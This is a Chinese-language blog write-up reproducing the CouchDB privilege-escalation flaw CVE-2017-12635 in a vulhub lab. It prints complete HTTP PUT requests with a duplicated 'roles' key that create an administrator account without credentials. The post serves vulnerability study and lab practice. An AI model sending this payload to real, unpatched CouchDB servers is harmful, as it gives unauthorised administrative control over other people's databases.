CVE-2017-12635 Couchdb 垂直权限绕过漏洞复现

CVE-2017-12635 Couchdb 垂直权限绕过漏洞

0x01.环境搭建

利用vulhub搭建漏洞环境

service docker start
docker-compose up -d

image-20210405182022868

查看开启的端口号

docker-compose ps

image-20210405182120526

环境启动后,访问http://target_ip:5984/_utils/即可看到一个web页面,说明Couchdb已成功启动。但我们不知道密码,无法登陆

image-20210405182205825

0x02.漏洞详情

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

影响版本:小于 1.7.0 以及 小于 2.1.1

0x03.漏洞复现

首先,发送如下数据包

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: target_ip:5984
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://target_ip:5984/_utils/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/json
Connection: close
Content-Length: 109

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

可见,返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"},只有管理员才能设置Role角色

image-20210405183231312

发送包含两个roles的数据包,即可绕过限制

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: target_ip:5984
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://target_ip:5984/_utils/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/json
Connection: close
Content-Length: 109

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
   "roles": [],
  "password": "vulhub"
}

成功创建管理员,账户密码均为vulhub

image-20210405183147768

再次访问http://your-ip:5984/_utils/,输入账户密码vulhub,可以成功登录

image-20210405182605911

image-20210405182840478

posted @ 2021-04-05 18:35  Anguvia  阅读(10)  评论(0编辑  收藏